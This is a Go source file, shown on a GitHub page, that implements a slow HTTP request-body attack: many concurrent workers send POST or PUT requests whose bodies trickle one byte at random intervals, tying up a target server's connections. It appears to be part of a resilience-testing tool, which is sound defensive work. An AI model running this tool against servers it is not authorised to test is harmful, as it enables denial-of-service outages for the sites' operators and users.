-
Notifications
You must be signed in to change notification settings - Fork 0
/
slow.go
152 lines (123 loc) · 3.11 KB
/
slow.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
package turtle
import (
"context"
"io"
"net/http"
"time"
)
type slowReader struct {
Data <-chan struct{}
}
func startSlowReader(ctx context.Context, timeout time.Duration, randn randn) io.Reader {
data := make(chan struct{})
rv := &slowReader{
Data: data,
}
go func() {
defer close(data)
var timeoutC <-chan time.Time
if timeout > 0 {
timer := time.NewTimer(timeout)
defer timer.Stop()
timeoutC = timer.C
}
nextSendDataTimer := func() *time.Timer {
d := time.Duration(randn(100)) * time.Millisecond
return time.NewTimer(d)
}
sendDataTimer := nextSendDataTimer()
defer func() {
if sendDataTimer != nil {
sendDataTimer.Stop()
}
}()
for {
select {
case <-ctx.Done():
return
case <-timeoutC:
return
case <-sendDataTimer.C:
data <- struct{}{}
sendDataTimer = nextSendDataTimer()
}
}
}()
return rv
}
func (s *slowReader) Read(p []byte) (n int, err error) {
_, ok := <-s.Data
if !ok {
return 0, io.EOF
}
if len(p) > 0 {
p[0] = 'a'
return 1, nil
}
return 0, nil
}
// SlowBodyReadRequest provides the configurations for simulating slow request body reading attack.
type SlowBodyReadRequest struct {
Target Target `embed:""`
// Method - the HTTP method to use, one of POST / PUT. Defaults to POST.
Method string `name:"http-method" help:"the HTTP method to use, one of POST / PUT. Defaults to POST."`
// BodyReadTimeout - the timeout for reading the request body. Defaults to hang forever.
BodyReadTimeout time.Duration `name:"http-read-timeout" help:"the timeout for reading the request body. Defaults to hang forever."`
// randn - the random number generator. For unit testing.
randn randn
}
func (s *SlowBodyReadRequest) AfterApply() error {
return s.defaults()
}
func (s *SlowBodyReadRequest) defaults() error {
if err := s.Target.defaults(); err != nil {
return err
}
if s.Method == "" {
s.Method = http.MethodPost
}
if s.BodyReadTimeout <= 0 {
s.BodyReadTimeout = 0
}
if s.randn == nil {
s.randn = defaultRandn()
}
return nil
}
func (s *SlowBodyReadRequest) Run(ctx context.Context) error {
if err := s.defaults(); err != nil {
return err
}
workerCtx, cancelWorker := context.WithTimeout(ctx, s.Target.Duration)
defer cancelWorker()
runWithWorker(
workerCtx,
s.Target.Connections,
func(ctx context.Context, workerId int) {
workerEventHandler := wrapEventSettings(s.Target.EventHandler, WithEventWorkerId(workerId))
defer capturePanic(workerEventHandler)
err := s.worker(ctx, workerEventHandler)
if err != nil {
workerEventHandler.HandleEvent(NewEvent(EventWorkerError, WithEventError(err)))
}
},
)
return nil
}
func (s *SlowBodyReadRequest) worker(ctx context.Context, eventHandler EventHandler) error {
body := startSlowReader(ctx, s.BodyReadTimeout, s.randn)
req, err := http.NewRequestWithContext(ctx, s.Method, s.Target.Url.String(), body)
if err != nil {
return err
}
client := http.Client{}
eventHandler.HandleEvent(NewEvent(EventTCPDial))
defer func() {
eventHandler.HandleEvent(NewEvent(EventTCPClosed))
}()
_, err = client.Do(req)
if err != nil {
return err
}
return nil
}